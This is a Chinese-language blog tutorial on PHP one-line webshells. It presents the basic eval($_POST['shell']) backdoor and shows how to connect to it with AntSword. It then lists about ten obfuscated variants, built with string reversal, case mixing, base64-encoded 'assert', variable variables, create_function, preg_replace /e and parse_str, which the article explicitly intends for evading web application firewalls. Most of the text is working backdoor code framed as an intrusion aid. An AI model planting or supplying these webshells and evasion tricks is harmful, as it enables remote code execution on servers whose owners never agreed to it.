文章详情
浅谈php一句话木马工作原理
一句话木马简介
一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
一句话木马工作原理
<?php @eval($_POST['shell']);?>这是php的一句话后门中最普遍的一种。它的工作原理是:
首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。
实例:
<?php @eval($_POST['shell']);?>将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();
也可以用蚁剑或菜刀等工具连接(我这里用的是蚁剑):
在url地址框中输入http://127.0.0.1/webshell.php,在连接密码框中输入shell
然后就可以看到目标站点目录下的文件了
一句话木马的多种变形
一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形。
php变量
<?php $a = "assert"; $a(@$_POST['shell']); ?>
第三行使用了变量函数$a,变量储存了函数名asse,便可以直接用变量替代函数名。
php变量简单变形1
<?php $a="TR"."Es"."sA"; $b=strtolower($a); $c=strrev($b); @$c($_POST['shell']); ?>
使用字符串拼接、大小写混淆、字符串逆序组合而成
php变量简单变形2
<?php $a="AssERT"; $b=strtolower($a); @$b($_POST['shell']); ?>
使用大小写混淆配合字符串转小写函数strtolower组合而成
PHP可变变量
<?php $bb="assert"; $a='bb'; $$aa($_POST['shell']); ?>
以上代码可表示为$$aa = $($aa) = $ (‘bb’) = $bb = "assert"
自定义函数
<?php function fun($a){ @eval($a); } @fun($_POST['shell']); ?>
使用function自定义函数,然后函数来调用eval函数
create_function函数
<?php $fun = create_function('',$_POST['shell']); $fun(); ?>
创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数
call_user_func()函数
<?php @call_user_func(assert,$_POST['shell']); ?>
call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数
base64_decode 函数
<?php $a=base64_decode("YXNzZXJ0"); @a($_POST['shell']); ?>
YXNzZXJ0是assert的base64编码,base64_decode()是base64解密函数
preg_replace函数
<?php function fun(){ return $_POST['shell']; } @preg_replace("/test/e", fun(), "test123"); ?>
preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。
pares_str函数
<?php $str="a=eval"; parse_str($str); $a($_POST['shell']); ?>
执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。
str_replace函数
<?php $a = str_replace("test", "", "astestsert"); $a($_POST['shell']); ?>
此函数用于将第三个参数中的第一个参数替换为第二个参数
以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,在使用一句话木马时,也可以在前面加一个@来屏蔽错误,增加其隐蔽性。
总结:一句话木马的变换方式还有很多种,本小白也是浅浅的总结了一下。
上一文章:寒假直播课来啦!一个月快速入门
下一文章:PHP代码审计入门篇bluecms
相关推荐
- 05-02少儿编程一般如何收费?学编程大概多少钱
- 05-15零零后非法搭建DDOS平台攻击网站,获刑2年
- 03-19黑客怎样简单入侵别人手机,黑客是如何入侵手
- 09-17ddos攻击的防御手段,ddos攻击解决方案
- 06-03手机耗电太快怎么办?
- 02-10nt是什么意思?骂人网络用语吗
- 04-18黑客自学书籍手册,黑客零基础入门书籍推荐,
- 01-14寒假直播课来啦!一个月快速入门
- 07-180基础逆袭大神,学这些就够了!
- 05-11警方通报女子占座致航班滑回(霸座占座行为何
- 05-24电脑硬件的维护与清洁!
- 10-08黑客通过KaliLinux设置一个钓鱼网站原来这么
- 09-09批量文件夹名称前面加指定字符
- 01-12web渗透需要哪些知识?